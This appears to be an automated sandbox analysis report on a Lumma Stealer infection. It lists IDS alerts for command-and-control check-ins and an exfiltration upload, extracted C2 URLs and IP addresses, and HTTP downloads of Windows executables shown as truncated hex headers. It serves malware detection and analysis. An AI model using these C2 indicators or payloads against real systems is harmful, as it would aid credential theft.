Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49984 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49984 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50084 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49997 -> 104.21.64.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 09 Dec 2024 19:27:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 